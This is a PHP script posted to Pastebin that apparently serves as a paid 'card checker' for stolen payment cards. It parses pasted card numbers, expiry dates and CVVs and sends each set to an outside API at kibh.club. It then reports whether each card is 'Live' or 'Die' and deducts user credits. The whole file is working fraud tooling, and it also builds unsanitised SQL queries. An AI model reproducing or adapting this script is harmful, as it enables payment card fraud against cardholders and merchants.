Guest User

Untitled

a guest
Apr 1st, 2015
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.73 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. {
  5. echo '{"error":-1,"msg":"Error! Please contact admin!"}';
  6. break;
  7. }
  8. $email = $_SESSION['email'];
  9. include('../account/login/auth.php');
  10. $email = $_SESSION['email'];
  11. $query = "SELECT * FROM user WHERE email='$email'";
  12. $exe = mysql_query($query);
  13. $no = 1;
  14. while($row = mysql_fetch_assoc($exe)){
  15. $credits = $row['credits'];
  16. }
  17. $email = $_SESSION['email'];
  18. $ccnum1 = $_POST['cclist'].'|';
  19. $ccnum1 = str_replace("Live","",$ccnum1);
  20. $ccnum1 = str_replace("LIVE","",$ccnum1);
  21. if ($ccnum1 == 0) {
  22. header('location: http://kibh.club');
  23. break;
  24. }
  25. $ccnum1 = str_replace(" ","",$ccnum1);
  26. $potong = str_replace("|","",$ccnum1);
  27. $jumlah = strlen($potong);
  28. $cc = substr($potong, 0, 1);
  29. if ($cc == 4) {
  30. if ($jumlah > 24) {
  31. $num = substr($potong, 0, 16);
  32. $expm = substr($potong, 16, 2);
  33. $expy = substr($potong, 18, 4);
  34. $cvv = substr($potong,22);
  35. }
  36. if ($jumlah < 24) {
  37. $num = substr($potong, 0, 16);
  38. $expm = substr($potong, 16, 2);
  39. $expy = '20'.substr($potong, 18, 2);
  40. $cvv = substr($potong,20);
  41. }
  42. }
  43. if ($cc == 5) {
  44. if ($jumlah > 24) {
  45. $num = substr($potong, 0, 16);
  46. $expm = substr($potong, 16, 2);
  47. $expy = substr($potong, 18, 4);
  48. $cvv = substr($potong,22);
  49. }
  50. if ($jumlah < 24) {
  51. $num = substr($potong, 0, 16);
  52. $expm = substr($potong, 16, 2);
  53. $expy = '20'.substr($potong, 18, 2);
  54. $cvv = substr($potong,20);
  55. }
  56. }
  57. if ($cc == 3) {
  58. if ($jumlah > 24) {
  59. $num = substr($potong, 0, 15);
  60. $expm = substr($potong, 15, 2);
  61. $expy = substr($potong, 17, 4);
  62. $cvv = substr($potong, 21);
  63. }
  64. if ($jumlah < 24) {
  65. $num = substr($potong, 0, 15);
  66. $expm = substr($potong, 15, 2);
  67. $expy = '20'.substr($potong, 17, 2);
  68. $cvv = substr($potong, 19);
  69. }
  70. }
  71. $ccnum = explode('|', $ccnum1);
  72. $format = $num.'|'.$expm.'|'.$expy.'|'.$cvv;
  73. $hasil = file_get_contents('http://www.kibh.club/api/send-payments.php?ccn='.$num.'&ccm='.$expm.'&ccy='.$expy.'&cvv='.$cvv);
  74. $a = json_decode($hasil, true);
  75. $b = $a['status'];
  76. if ($b == 1) {
  77. $aq = mysql_query("UPDATE `user` SET `credits`=credits-1 WHERE email='$email'");
  78. while($row = mysql_fetch_assoc($exe)){
  79. $credits = $row['credits'];
  80. }
  81. $credits = $credits-1;
  82. echo '{"error":0,"msg":"<font color=green><b>Live</b></font> |'.$ccnum1.' [CRE:'.$credits.']"}';
  83. break;
  84. } if ($b == 2) {
  85. echo '{"error":2,"msg":"<font color=red><b>Die</b></font> |'.$ccnum1.' [CRE:'.$credits.']"}';
  86. break;
  87. } if ($b == 3) {
  88. echo '{"error":-1,"msg":"<font color=purple><b>Unknown</b></font> |'.$format.'"}';
  89. break;
  90. }
  91. echo '{"error":-1,"msg":"<font color=blue><b>Api Key Expired</b></font> |'.$format.'"}';
  92. break;
  93. ?>
Add Comment
Please, Sign In to add comment